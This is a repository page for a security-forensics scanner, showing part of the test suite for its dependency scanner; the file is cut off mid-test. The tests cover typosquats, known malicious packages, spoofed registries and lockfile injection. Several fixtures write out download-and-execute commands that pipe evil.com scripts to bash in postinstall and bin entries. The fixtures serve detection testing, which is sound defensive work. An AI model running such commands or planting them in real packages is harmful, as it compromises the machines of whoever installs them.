Skip to content

alexgreensh/repo-forensics / skills/repo-forensics

repo-forensics

Flagged

Security forensics for git repos, AI skills, and MCP servers. Audits dependencies, detects prompt injection, credential theft, runtime dynamism, manifest drift, known CVEs, CISA KEV (actively exploited) vulns, and 2026 attack patterns. Not for fixing vulnerabilities or pentesting.

FileKindSize
.gitignoreother193 B
SKILL.mdskill md43.4 KB
checksums.jsonconfig10.8 KB
checksums.json.sigother64 B
data/README.mdmarkdown1.3 KB
data/compromised_versions.jsonconfig188.3 KB
data/rule_ids.csvother35.3 KB
data/rulepacks/.gitkeepother221 B
data/rulepacks/dead_anchors.jsonconfig9.0 KB
data/rulepacks/mcp_security.jsonconfig31.2 KB
data/rulepacks/runtime_dynamism.jsonconfig46.7 KB
data/rulepacks/sast.jsonconfig107.6 KB
data/rulepacks/secrets.jsonconfig30.4 KB
data/rulepacks/shared.jsonconfig4.4 KB
data/rulepacks/skill_threats.jsonconfig95.4 KB
data/runtime_floors.jsonconfig2.3 KB
data/yara/cryptominers.yarother1.8 KB
data/yara/hacktools.yarother2.2 KB
data/yara/malware.yarother2.2 KB
data/yara/manifest.jsonconfig8.0 KB
data/yara/webshells.yarother2.5 KB
references/cursor-hook-contract.mdmarkdown5.6 KB
references/kernel_privesc_sandbox_pack.mdmarkdown5.0 KB
references/mcp-attack-patterns.mdmarkdown8.7 KB
references/research_sources.mdmarkdown8.0 KB
references/threat_patterns.mdmarkdown20.3 KB
scripts/_context_gate.pyscript21.7 KB
scripts/_ed25519.pyscript5.1 KB
scripts/_pyc_unmarshal.pyscript17.1 KB
scripts/_shared_patterns.pyscript4.8 KB
scripts/adjudication.pyscript16.4 KB
scripts/adjudication_bridge.pyscript1.0 KB
scripts/aggregate_json.pyscript69.2 KB
scripts/auto_scan.pyexecutablescript152.1 KB
scripts/corpus_sync.pyscript10.0 KB
scripts/cursor_pre_scan.pyscript22.5 KB
scripts/dast_sandbox.sbother1.6 KB
scripts/dead_anchors_extract.pyscript14.8 KB
scripts/dead_anchors_probe.pyscript27.1 KB
scripts/forensics_core.pyscript176.5 KB
scripts/gen_rule_ids.pyscript8.6 KB
scripts/hook_adapter.pyscript19.4 KB
scripts/ioc_manager.pyscript49.6 KB
scripts/parse_pnpm_lock.pyscript7.9 KB
scripts/pre_scan.pyscript143.5 KB
scripts/pypi_pins.pyscript8.1 KB
scripts/refresh_controller.pyexecutablescript48.4 KB
scripts/refresh_threat_dbs.pyexecutablescript19.4 KB
scripts/rule_loader.pyscript44.8 KB
scripts/rulepack_feed.pyscript26.4 KB
scripts/run_forensics.shexecutablescript20.3 KB
scripts/sarif_export.pyscript18.6 KB
scripts/scan_agent_skills.pyscript33.2 KB
scripts/scan_archive.pyscript29.1 KB
scripts/scan_ast.pyscript44.9 KB
scripts/scan_binary.pyscript10.9 KB
scripts/scan_bytecode.pyscript28.2 KB
scripts/scan_dast.pyscript28.8 KB
scripts/scan_dataflow.pyscript15.4 KB
scripts/scan_dead_anchors.pyscript15.9 KB
scripts/scan_decode.pyscript37.5 KB
scripts/scan_dependencies.pyscript124.5 KB
scripts/scan_devcontainer.pyscript8.5 KB
scripts/scan_entropy.pyscript15.6 KB
scripts/scan_entrypoint.pyscript34.3 KB
scripts/scan_git_config.pyscript96.3 KB
scripts/scan_git_forensics.pyscript24.1 KB
scripts/scan_history.pyscript14.5 KB
scripts/scan_infra.pyscript54.3 KB
scripts/scan_integrity.pyscript41.0 KB
scripts/scan_lifecycle.pyscript65.1 KB
scripts/scan_manifest_drift.pyscript47.0 KB
scripts/scan_mcp_security.pyscript42.3 KB
scripts/scan_oversize.pyscript11.7 KB
scripts/scan_post_incident.pyscript36.9 KB
scripts/scan_provenance.pyscript19.4 KB
scripts/scan_runtime_dynamism.pyscript23.5 KB
scripts/scan_runtime_floors.pyscript33.5 KB
scripts/scan_sast.pyscript59.1 KB
scripts/scan_secrets.pyscript11.9 KB
scripts/scan_skill_threats.pyscript102.4 KB
scripts/scan_splitstream.pyscript29.5 KB
scripts/scan_yara.pyscript19.7 KB
scripts/session_scan.pyscript54.1 KB
scripts/suppressions.pyscript15.4 KB
scripts/validate_manifests.pyscript13.7 KB
scripts/verify_install.pyscript26.2 KB
scripts/vuln_feed.pyscript31.1 KB
tests/conftest.pyscript13.4 KB
tests/corpus/DEAD_ANCHORS_CORPUS.mdmarkdown2.3 KB
tests/corpus/budgets.jsonconfig5.6 KB
tests/cursor_helpers.pyscript12.6 KB
tests/fixtures/legacy_main_blocks.jsonconfig10.3 KB
tests/fixtures/powershell_verdict_corpus.jsonconfig114.9 KB
tests/golden/parity_mcp_security.jsonconfig17.5 KB
tests/golden/parity_runtime_dynamism.jsonconfig31.7 KB
tests/golden/parity_sast.jsonconfig59.8 KB
tests/golden/parity_secrets.jsonconfig18.8 KB
tests/golden/parity_skill_threats.jsonconfig48.8 KB
tests/parity_corpus.pyscript6.3 KB
tests/powershell_hook.pyscript8.2 KB
tests/report_builders.pyscript5.0 KB
tests/schemas/sarif-schema-2.1.0.jsonconfig109.1 KB
tests/shell_compat.pyscript2.2 KB
tests/test_adjudication_bridge.pyscript832 B
tests/test_adjudication_containment.pyscript1.4 KB
tests/test_adjudication_output.pyscript20.0 KB
tests/test_adjudication_suppressions.pyscript18.7 KB
tests/test_advisory_adjudication.pyscript1.3 KB
tests/test_agent_relay_rules.pyscript7.8 KB
tests/test_aggregate_json.pyscript10.0 KB
tests/test_auto_scan_patterns.pyscript10.5 KB
tests/test_benign_corpus.pyscript16.4 KB
tests/test_benign_new_scanners.pyscript6.1 KB
tests/test_build_output_skip.pyscript10.6 KB
tests/test_capability_ledger.pyscript18.8 KB
tests/test_codex_install.pyscript10.0 KB
tests/test_codex_marketplace.pyscript3.3 KB
tests/test_comment_false_positives.pyscript2.2 KB
tests/test_composer_dependencies.pyscript4.0 KB
tests/test_compromised_versions.pyscript51.2 KB
tests/test_context_gate.pyscript32.4 KB
tests/test_coverage_status.pyscript7.6 KB
tests/test_css_compounding_shrink.pyscript20.8 KB
tests/test_cursor_adapter.pyscript7.8 KB
tests/test_cursor_benign.pyscript3.4 KB
tests/test_cursor_degrade.pyscript12.7 KB
tests/test_cursor_install.pyscript17.1 KB
tests/test_cursor_latency.pyscript7.2 KB
tests/test_cursor_parity.pyscript5.8 KB
tests/test_cursor_redteam_fn.pyscript4.9 KB
tests/test_cursor_tamper_modify.pyscript14.2 KB
tests/test_cursor_wiring.pyscript32.3 KB
tests/test_d1_yara_correlation.pyscript9.2 KB
tests/test_dead_anchors_extract.pyscript7.6 KB
tests/test_dead_anchors_probe.pyscript19.7 KB
tests/test_evidence_engine_parity.pyscript8.1 KB
tests/test_evidence_model.pyscript11.4 KB
tests/test_forensics_core.pyscript79.2 KB
tests/test_fp_hardening_r3.pyscript9.7 KB
tests/test_fp_hardening_r4.pyscript18.8 KB
tests/test_fp_regression_pairs.pyscript62.5 KB
tests/test_fp_structural.pyscript21.2 KB
tests/test_freshness.pyscript6.2 KB
tests/test_frontmatter_validity.pyscript7.0 KB
tests/test_gpg_rce_hotfix.pyscript4.8 KB
tests/test_hook_inert_data.pyscript6.1 KB
tests/test_hook_scripts.pyscript14.0 KB
tests/test_inspection_cpu_budget.pyscript11.6 KB
tests/test_ioc_manager.pyscript55.4 KB
tests/test_kernel_privesc_rules.pyscript27.8 KB
tests/test_legit_precision_regressions.pyscript6.8 KB
tests/test_lethal_trifecta.pyscript20.7 KB
tests/test_manifest_signature.pyscript1.5 KB
tests/test_manifest_validity.pyscript2.9 KB
tests/test_monotonic_trust_e2e.pyscript4.4 KB
tests/test_non_breaking_contract.pyscript22.7 KB
tests/test_openclaw_install.pyscript6.6 KB
tests/test_pack_parity.pyscript24.8 KB
tests/test_parse_pnpm_lock.pyscript10.7 KB
tests/test_plugin_checkout_provenance.pyscript11.1 KB
tests/test_powershell_hook_wire.pyscript10.6 KB
tests/test_powershell_verdict_corpus.pyscript6.2 KB
tests/test_pr44_hardening.pyscript6.5 KB
tests/test_pre_scan.pyscript19.6 KB
tests/test_pre_scan_composer.pyscript7.4 KB
tests/test_precondition_fields.pyscript4.6 KB
tests/test_provenance_offline.pyscript2.5 KB
tests/test_published_rulepack_feed_current.pyscript1.4 KB
tests/test_py38_compat.pyscript3.3 KB
tests/test_pypi_pinned_versions.pyscript19.3 KB
tests/test_pyproject_string_forms.pyscript2.2 KB
tests/test_redteam_fn_regression.pyscript32.5 KB
tests/test_reflective_fetch_execute.pyscript23.5 KB
tests/test_reflective_review_fixes.pyscript17.8 KB
tests/test_refresh_controller.pyscript19.9 KB
tests/test_refresh_rulepacks.pyscript12.4 KB
tests/test_review_gate_regressions.pyscript9.3 KB
tests/test_rule_loader.pyscript23.2 KB
tests/test_rulepack_feed.pyscript38.1 KB
tests/test_run_forensics_json.pyscript1012 B
tests/test_run_scanner_fail_loud.pyscript6.5 KB
tests/test_runtime_floors.pyscript19.8 KB
tests/test_sandbox_probing_rules.pyscript9.6 KB
tests/test_sarif_export.pyscript19.9 KB
tests/test_scan_agent_skills.pyscript31.3 KB
tests/test_scan_archive.pyscript11.6 KB
tests/test_scan_ast.pyscript12.8 KB
tests/test_scan_binary.pyscript15.3 KB
tests/test_scan_bytecode.pyscript21.5 KB
tests/test_scan_dast.pyscript32.1 KB
tests/test_scan_dataflow.pyscript7.1 KB
tests/test_scan_dead_anchors.pyscript11.5 KB
tests/test_scan_decode.pyscript28.0 KB
tests/test_scan_dependencies.pyscript37.8 KB
tests/test_scan_devcontainer.pyscript8.5 KB
tests/test_scan_entropy.pyscript11.2 KB
tests/test_scan_entrypoint.pyscript19.5 KB
tests/test_scan_git_config.pyscript58.5 KB
tests/test_scan_git_config_review_fixes.pyscript33.3 KB

tests/test_scan_dependencies.py

View on GitHub
"""Tests for scan_dependencies.py - Dependency Scanner."""

import json
import scan_dependencies as scanner


class TestTyposquatting:
    def test_detects_npm_typosquat(self):
        typos = scanner.check_typosquatting(["reacct", "expresss"], scanner.POPULAR_NPM)
        assert len(typos) > 0
        suspects = [t[0] for t in typos]
        assert "reacct" in suspects or "expresss" in suspects

    def test_legitimate_packages_pass(self):
        typos = scanner.check_typosquatting(["react", "express", "lodash"], scanner.POPULAR_NPM)
        assert len(typos) == 0

    def test_l33t_normalization(self):
        assert scanner._apply_l33t("r3act") == "react"
        assert scanner._apply_l33t("l0d@sh") == "lodash"


class TestKnownIOC:
    def test_detects_sandworm_packages(self, repo_with_malicious_deps):
        findings = scanner.scan_package_json(
            str(repo_with_malicious_deps / "package.json"),
            "package.json"
        )
        ioc_findings = [f for f in findings if f.category == "known-ioc"]
        assert len(ioc_findings) > 0
        assert any("claud-code" in f.title for f in ioc_findings)


class TestRecentCampaignIOCs:
    def test_vpmdhaj_name_ioc_flagged(self, tmp_path):
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "app",
            "dependencies": {"@vpmdhaj/opensearch-setup": "1.0.7267"}
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        assert any(f.category == "known-ioc" and "@vpmdhaj/opensearch-setup" in f.title for f in findings)

    def test_vpmdhaj_compromised_version_flagged(self, tmp_path):
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "app",
            "dependencies": {"env-config-manager": "2.1.9201"}
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        assert any(f.category == "supply-chain" and "env-config-manager@2.1.9201" in f.title for f in findings)

    def test_miasma_redhat_exact_version_flagged(self, tmp_path):
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "app",
            "dependencies": {"@redhat-cloud-services/remediations-client": "4.0.7"}
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        assert any(
            f.category == "supply-chain"
            and "@redhat-cloud-services/remediations-client@4.0.7" in f.title
            for f in findings
        )

    def test_miasma_redhat_safe_version_not_name_banned(self, tmp_path):
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "app",
            "dependencies": {"@redhat-cloud-services/remediations-client": "4.0.8"}
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        assert not any(
            f.category in ("known-ioc", "supply-chain")
            and "@redhat-cloud-services/remediations-client" in f.title
            for f in findings
        )


class TestVersionAnomaly:
    def test_detects_high_version(self):
        assert scanner.check_version_anomaly("99.0.0") is True
        assert scanner.check_version_anomaly("^99.1.0") is True

    def test_normal_versions_pass(self):
        assert scanner.check_version_anomaly("^18.0.0") is False
        assert scanner.check_version_anomaly("~4.17.21") is False
        assert scanner.check_version_anomaly("1.0.0") is False


class TestPackageJsonScan:
    def test_full_scan(self, repo_with_malicious_deps):
        findings = scanner.scan_package_json(
            str(repo_with_malicious_deps / "package.json"),
            "package.json"
        )
        assert len(findings) > 0
        categories = {f.category for f in findings}
        assert "known-ioc" in categories or "typosquatting" in categories

    def test_handles_malformed_json(self, tmp_path):
        bad = tmp_path / "package.json"
        bad.write_text("not valid json{{{")
        findings = scanner.scan_package_json(str(bad), "package.json")
        # Should not crash, should report parse error
        assert any(f.category == "parse-error" for f in findings)


class TestPythonDeps:
    def test_detects_pypi_typosquat(self, tmp_path):
        req = tmp_path / "requirements.txt"
        req.write_text("reqeusts==2.28.0\nnumpy==1.24.0\n")
        findings = scanner.scan_python_deps(str(req), "requirements.txt")
        typos = [f for f in findings if f.category == "typosquatting"]
        assert len(typos) > 0

    def test_detects_pypi_ioc(self, tmp_path):
        req = tmp_path / "requirements.txt"
        req.write_text("anthopic==1.0.0\n")
        findings = scanner.scan_python_deps(str(req), "requirements.txt")
        assert any(f.category == "known-ioc" for f in findings)


class TestLockfile:
    def test_detects_untrusted_registry(self, tmp_path):
        lock = tmp_path / "package-lock.json"
        lock.write_text(json.dumps({
            "packages": {
                "evil-pkg": {
                    "resolved": "https://evil-registry.com/evil-pkg-1.0.0.tgz"
                }
            }
        }))
        findings = scanner.scan_lockfile(str(lock), "package-lock.json")
        assert any("untrusted" in f.title.lower() for f in findings)

    def test_trusted_registries_pass(self, tmp_path):
        lock = tmp_path / "package-lock.json"
        lock.write_text(json.dumps({
            "packages": {
                "react": {
                    "resolved": "https://registry.npmjs.org/react/-/react-18.0.0.tgz"
                }
            }
        }))
        findings = scanner.scan_lockfile(str(lock), "package-lock.json")
        assert len(findings) == 0

    def test_hostname_bypass_evil_subdomain(self, tmp_path):
        """Evil subdomain like evil-registry.npmjs.org.attacker.com must be flagged."""
        lock = tmp_path / "package-lock.json"
        lock.write_text(json.dumps({
            "packages": {
                "evil-pkg": {
                    "resolved": "https://evil-registry.npmjs.org.attacker.com/pkg.tgz"
                }
            }
        }))
        findings = scanner.scan_lockfile(str(lock), "package-lock.json")
        assert any("untrusted" in f.title.lower() for f in findings), \
            "Hostname substring bypass: evil-registry.npmjs.org.attacker.com should be flagged"

    def test_hostname_bypass_path_trick(self, tmp_path):
        """evil.com/registry.npmjs.org/ should be flagged (path-based bypass)."""
        lock = tmp_path / "package-lock.json"
        lock.write_text(json.dumps({
            "packages": {
                "evil-pkg": {
                    "resolved": "https://evil.com/registry.npmjs.org/pkg.tgz"
                }
            }
        }))
        findings = scanner.scan_lockfile(str(lock), "package-lock.json")
        assert any("untrusted" in f.title.lower() for f in findings)

    def test_git_dependency_flagged(self, tmp_path):
        """git+ dependencies should be flagged as HIGH."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "dependencies": {
                "private-lib": "git+https://github.com/org/repo.git"
            }
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        assert any(f.category == "git-dependency" for f in findings)

    def test_http_dependency_flagged_critical(self, tmp_path):
        """http:// dependencies should be flagged as CRITICAL."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "dependencies": {
                "unsafe-lib": "http://example.com/lib.tgz"
            }
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        assert any(f.severity == "critical" and f.category == "insecure-protocol" for f in findings)

    def test_file_dependency_flagged(self, tmp_path):
        """file: dependencies should be flagged as MEDIUM."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "dependencies": {
                "local-lib": "file:../lib"
            }
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        assert any(f.category == "local-dependency" for f in findings)


class TestMissingLockfile:
    def test_no_lockfile_flagged(self, tmp_path):
        """package.json with deps but no lockfile should be flagged."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "dependencies": {"react": "^18.0.0"}
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        assert any(f.category == "missing-lockfile" for f in findings)

    def test_lockfile_present_no_flag(self, tmp_path):
        """package.json with a sibling lockfile should NOT be flagged."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "dependencies": {"react": "^18.0.0"}
        }))
        lock = tmp_path / "package-lock.json"
        lock.write_text("{}")
        findings = scanner.scan_package_json(str(pkg), "package.json")
        assert not any(f.category == "missing-lockfile" for f in findings)

    def test_monorepo_parent_lockfile_ok(self, tmp_path):
        """Monorepo: lockfile in parent dir should suppress the finding."""
        sub = tmp_path / "packages" / "sub"
        sub.mkdir(parents=True)
        pkg = sub / "package.json"
        pkg.write_text(json.dumps({
            "name": "sub",
            "dependencies": {"lodash": "^4.0.0"}
        }))
        # Parent lockfile
        lock = tmp_path / "package-lock.json"
        lock.write_text("{}")
        findings = scanner.scan_package_json(str(pkg), "packages/sub/package.json")
        assert not any(f.category == "missing-lockfile" for f in findings)


class TestPythonUnboundedRanges:
    def test_unbounded_gte_flagged(self, tmp_path):
        """>=X.Y.Z with no upper bound should be flagged as MEDIUM."""
        req = tmp_path / "requirements.txt"
        req.write_text("requests>=2.28.0\n")
        findings = scanner.scan_python_deps(str(req), "requirements.txt")
        assert any(f.category == "unbounded-range" for f in findings)

    def test_compatible_release_not_flagged(self, tmp_path):
        """~=X.Y.Z (compatible release) should NOT be flagged."""
        req = tmp_path / "requirements.txt"
        req.write_text("requests~=2.28.0\n")
        findings = scanner.scan_python_deps(str(req), "requirements.txt")
        assert not any(f.category == "unbounded-range" for f in findings)

    def test_pinned_not_flagged(self, tmp_path):
        """==X.Y.Z should NOT be flagged."""
        req = tmp_path / "requirements.txt"
        req.write_text("requests==2.28.0\n")
        findings = scanner.scan_python_deps(str(req), "requirements.txt")
        assert not any(f.category == "unbounded-range" for f in findings)

    def test_bare_package_flagged(self, tmp_path):
        """Bare package name with no version should be flagged HIGH."""
        req = tmp_path / "requirements.txt"
        req.write_text("requests\n")
        findings = scanner.scan_python_deps(str(req), "requirements.txt")
        assert any(f.category == "no-version-constraint" for f in findings)


class TestFundingUrlFalsePositives:
    def test_i18next_funding_metadata_is_not_a_registry(self, tmp_path):
        lock = tmp_path / "package-lock.json"
        lock.write_text(json.dumps({
            "lockfileVersion": 3,
            "packages": {
                "node_modules/i18next": {
                    "resolved": "https://registry.npmjs.org/i18next/-/i18next-26.3.1.tgz",
                    "funding": [
                        {"url": "https://www.locize.com/i18next"},
                        {"url": "https://www.i18next.com/how-to/faq"},
                        {"url": "https://www.locize.com"},
                        {"url": "http://sponsor.example/support"},
                    ],
                },
            },
        }))
        findings = scanner.scan_lockfile(str(lock), "package-lock.json")
        assert not any(f.category in {"untrusted-registry", "insecure-protocol"} for f in findings)

    def test_funding_domain_used_as_resolved_tarball_is_flagged(self, tmp_path):
        lock = tmp_path / "package-lock.json"
        lock.write_text(json.dumps({
            "lockfileVersion": 3,
            "packages": {
                "node_modules/i18next": {
                    "resolved": "https://opencollective.com/i18next.tgz",
                    "funding": "https://www.locize.com/i18next",
                },
            },
        }))
        findings = scanner.scan_lockfile(str(lock), "package-lock.json")
        assert any(f.category == "untrusted-registry" and "i18next.tgz" in f.snippet for f in findings)

    def test_resolved_registry_hostname_suffix_spoof_is_flagged(self, tmp_path):
        lock = tmp_path / "package-lock.json"
        lock.write_text(json.dumps({
            "lockfileVersion": 3,
            "packages": {
                "node_modules/pkg": {
                    "resolved": "https://registry.npmjs.org.attacker.example/pkg.tgz",
                },
            },
        }))
        findings = scanner.scan_lockfile(str(lock), "package-lock.json")
        assert any(f.category == "untrusted-registry" for f in findings)

    def test_v1_nested_resolved_url_is_checked(self, tmp_path):
        lock = tmp_path / "package-lock.json"
        lock.write_text(json.dumps({
            "lockfileVersion": 1,
            "dependencies": {
                "outer": {
                    "resolved": "https://registry.npmjs.org/outer/-/outer-1.0.0.tgz",
                    "dependencies": {
                        "inner": {"resolved": "http://evil.example/inner.tgz"},
                    },
                },
            },
        }))
        findings = scanner.scan_lockfile(str(lock), "package-lock.json")
        assert any(f.category == "untrusted-registry" and "inner.tgz" in f.snippet for f in findings)
        assert any(f.category == "insecure-protocol" and "inner.tgz" in f.snippet for f in findings)

    def test_opencollective_not_flagged(self, tmp_path):
        """opencollective.com URLs in lockfiles should NOT be flagged."""
        lock = tmp_path / "package-lock.json"
        lock.write_text(json.dumps({
            "packages": {
                "express": {
                    "resolved": "https://registry.npmjs.org/express/-/express-4.18.0.tgz",
                    "funding": "https://opencollective.com/express"
                }
            }
        }))
        findings = scanner.scan_lockfile(str(lock), "package-lock.json")
        assert not any("opencollective" in f.snippet for f in findings)

    def test_tidelift_not_flagged(self, tmp_path):
        """tidelift.com URLs in lockfiles should NOT be flagged."""
        lock = tmp_path / "package-lock.json"
        lock.write_text(json.dumps({
            "packages": {
                "pkg": {
                    "resolved": "https://registry.npmjs.org/pkg/-/pkg-1.0.0.tgz",
                    "funding": "https://tidelift.com/funding/github/npm/pkg"
                }
            }
        }))
        findings = scanner.scan_lockfile(str(lock), "package-lock.json")
        assert not any("tidelift" in f.snippet for f in findings)


class TestManifestConfusion:
    """Tests for manifest confusion detection (Item 2)."""

    def test_script_references_missing_file(self, tmp_path):
        """Script referencing a non-existent file should flag."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "scripts": {
                "postinstall": "node ./setup.js"
            },
            "dependencies": {}
        }))
        findings = scanner.scan_manifest_confusion(str(pkg), "package.json")
        assert any(f.category == "manifest-confusion" for f in findings)

    def test_script_references_existing_file_ok(self, tmp_path):
        """Script referencing an existing file should not flag."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "scripts": {
                "build": "node ./build.js"
            },
            "dependencies": {}
        }))
        (tmp_path / "build.js").write_text("console.log('building')")
        findings = scanner.scan_manifest_confusion(str(pkg), "package.json")
        script_findings = [f for f in findings if "missing file" in f.title]
        assert len(script_findings) == 0

    def test_main_points_to_high_entropy_file(self, tmp_path):
        """main field pointing to high-entropy file should flag."""
        import random
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "main": "./index.js",
            "dependencies": {}
        }))
        # Create high-entropy file using all printable ASCII chars (wide charset = higher entropy)
        charset = ''.join(chr(i) for i in range(33, 127))  # 94 printable chars
        random.seed(42)
        random_content = ''.join(random.choice(charset) for _ in range(2000))
        (tmp_path / "index.js").write_text(random_content)
        findings = scanner.scan_manifest_confusion(str(pkg), "package.json")
        entropy_findings = [f for f in findings if "entropy" in f.title]
        assert len(entropy_findings) > 0

    def test_bin_with_suspicious_curl_pipe_bash(self, tmp_path):
        """Bin entry with curl piped to bash should flag."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "bin": {"cli": "./cli.sh"},
            "dependencies": {}
        }))
        (tmp_path / "cli.sh").write_text("#!/bin/bash\ncurl http://evil.com/payload | bash\n")
        findings = scanner.scan_manifest_confusion(str(pkg), "package.json")
        bin_findings = [f for f in findings if "bin" in f.title.lower()]
        assert len(bin_findings) > 0
        assert any(f.severity == "high" for f in bin_findings)

    def test_invalid_json_skips_gracefully(self, tmp_path):
        """Invalid JSON should not crash."""
        pkg = tmp_path / "package.json"
        pkg.write_text("not json{{{")
        findings = scanner.scan_manifest_confusion(str(pkg), "package.json")
        assert len(findings) == 0


class TestLockfileInjection:
    """Tests for lockfile injection detection (Item 3)."""

    def test_pnpm_http_tarball(self, tmp_path):
        """HTTP tarballs in pnpm-lock.yaml should flag."""
        lock = tmp_path / "pnpm-lock.yaml"
        lock.write_text(
            "lockfileVersion: '9.0'\n"
            "packages:\n"
            "  lodash@4.17.21:\n"
            "    resolution: {tarball: http://evil.com/lodash-4.17.21.tgz}\n"
        )
        findings = scanner.scan_lockfile_injection(str(lock), "pnpm-lock.yaml")
        assert any(f.category == "lockfile-injection" for f in findings)
        assert any(f.severity == "high" for f in findings)

    def test_package_lock_missing_integrity(self, tmp_path):
        """package-lock.json entry missing integrity should flag."""
        lock = tmp_path / "package-lock.json"
        lock.write_text(json.dumps({
            "lockfileVersion": 3,
            "packages": {
                "node_modules/evil-pkg": {
                    "version": "1.0.0",
                    "resolved": "https://registry.npmjs.org/evil-pkg/-/evil-pkg-1.0.0.tgz"
                }
            }
        }))
        findings = scanner.scan_lockfile_injection(str(lock), "package-lock.json")
        assert any(f.category == "lockfile-injection" for f in findings)
        assert any("integrity" in f.title.lower() for f in findings)

    def test_package_lock_with_integrity_ok(self, tmp_path):
        """package-lock.json entry WITH integrity should not flag."""
        lock = tmp_path / "package-lock.json"
        lock.write_text(json.dumps({
            "lockfileVersion": 3,
            "packages": {
                "node_modules/safe-pkg": {
                    "version": "1.0.0",
                    "resolved": "https://registry.npmjs.org/safe-pkg/-/safe-pkg-1.0.0.tgz",
                    "integrity": "sha512-abc123..."
                }
            }
        }))
        findings = scanner.scan_lockfile_injection(str(lock), "package-lock.json")
        integrity_findings = [f for f in findings if "integrity" in f.title.lower()]
        assert len(integrity_findings) == 0

    def test_yarn_lock_non_registry_url(self, tmp_path):
        """yarn.lock resolved to non-registry domain should flag."""
        lock = tmp_path / "yarn.lock"
        lock.write_text(
            '# yarn lockfile v1\n\n'
            '"lodash@^4.17.0":\n'
            '  version "4.17.21"\n'
            '  resolved "https://evil-registry.com/lodash-4.17.21.tgz"\n'
            '  integrity sha512-abc...\n'
        )
        findings = scanner.scan_lockfile_injection(str(lock), "yarn.lock")
        assert any(f.category == "lockfile-injection" for f in findings)
        assert any("evil-registry.com" in f.description for f in findings)

    def test_yarn_lock_registry_ok(self, tmp_path):
        """yarn.lock resolved to standard registry should not flag."""
        lock = tmp_path / "yarn.lock"
        lock.write_text(
            '# yarn lockfile v1\n\n'
            '"lodash@^4.17.0":\n'
            '  version "4.17.21"\n'
            '  resolved "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"\n'
            '  integrity sha512-abc...\n'
        )
        findings = scanner.scan_lockfile_injection(str(lock), "yarn.lock")
        assert len(findings) == 0


class TestBehavioralSignals:
    """Tests for behavioral scoring signals (Item 7)."""

    def test_network_plus_fs_write_in_install(self, tmp_path):
        """Install script with both network and fs write patterns should flag."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "scripts": {
                "postinstall": "curl http://evil.com/config > /tmp/config && cp /tmp/config ./node_modules/.cache"
            },
            "dependencies": {}
        }))
        findings = scanner.scan_behavioral_signals(str(pkg), "package.json")
        assert any(f.category == "behavioral-signal" for f in findings)

    def test_obfuscated_install_script(self, tmp_path):
        """High-entropy install script should flag as obfuscated."""
        import random
        random.seed(42)
        obfuscated = ''.join(random.choice(
            'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()[]{}|;:,.<>?/~`'
        ) for _ in range(200))
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "scripts": {
                "postinstall": obfuscated
            },
            "dependencies": {}
        }))
        findings = scanner.scan_behavioral_signals(str(pkg), "package.json")
        assert any("obfuscated" in f.title for f in findings)

    def test_postinstall_download_and_exec(self, tmp_path):
        """postinstall that downloads and executes should flag."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "scripts": {
                "postinstall": "curl -s http://evil.com/setup.sh | bash"
            },
            "dependencies": {}
        }))
        findings = scanner.scan_behavioral_signals(str(pkg), "package.json")
        assert any("downloads and executes" in f.title for f in findings)

    def test_clean_scripts_not_flagged(self, tmp_path):
        """Normal build scripts should not flag behavioral signals."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "scripts": {
                "build": "tsc",
                "test": "jest",
                "prepare": "husky install"
            },
            "dependencies": {}
        }))
        findings = scanner.scan_behavioral_signals(str(pkg), "package.json")
        assert len(findings) == 0

    def test_no_install_scripts_not_flagged(self, tmp_path):
        """Package without install scripts should not flag."""
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "scripts": {
                "start": "node index.js"
            },
            "dependencies": {}
        }))
        findings = scanner.scan_behavioral_signals(str(pkg), "package.json")
        assert len(findings) == 0


class TestOrphanCommitDetection:
    """TanStack worm: orphan commit references in optionalDependencies."""

    def test_orphan_commit_in_optional_deps(self, tmp_path):
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "optionalDependencies": {
                "@tanstack/setup": "github:TanStack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
            }
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        assert any(f.category == "orphan-commit" for f in findings)

    def test_normal_dep_not_flagged(self, tmp_path):
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "dependencies": {"lodash": "^4.17.21"}
        }))
        findings = scanner.scan_package_json(str(pkg), "package.json")
        assert not any(f.category == "orphan-commit" for f in findings)

    def test_regular_github_dep_not_orphan(self, tmp_path):
        pkg = tmp_path / "package.json"
        pkg.write_text(json.dumps({
            "name": "test",
            "optionalDependencies": {
                "some-lib": "github:org/repo"
            }
        }))
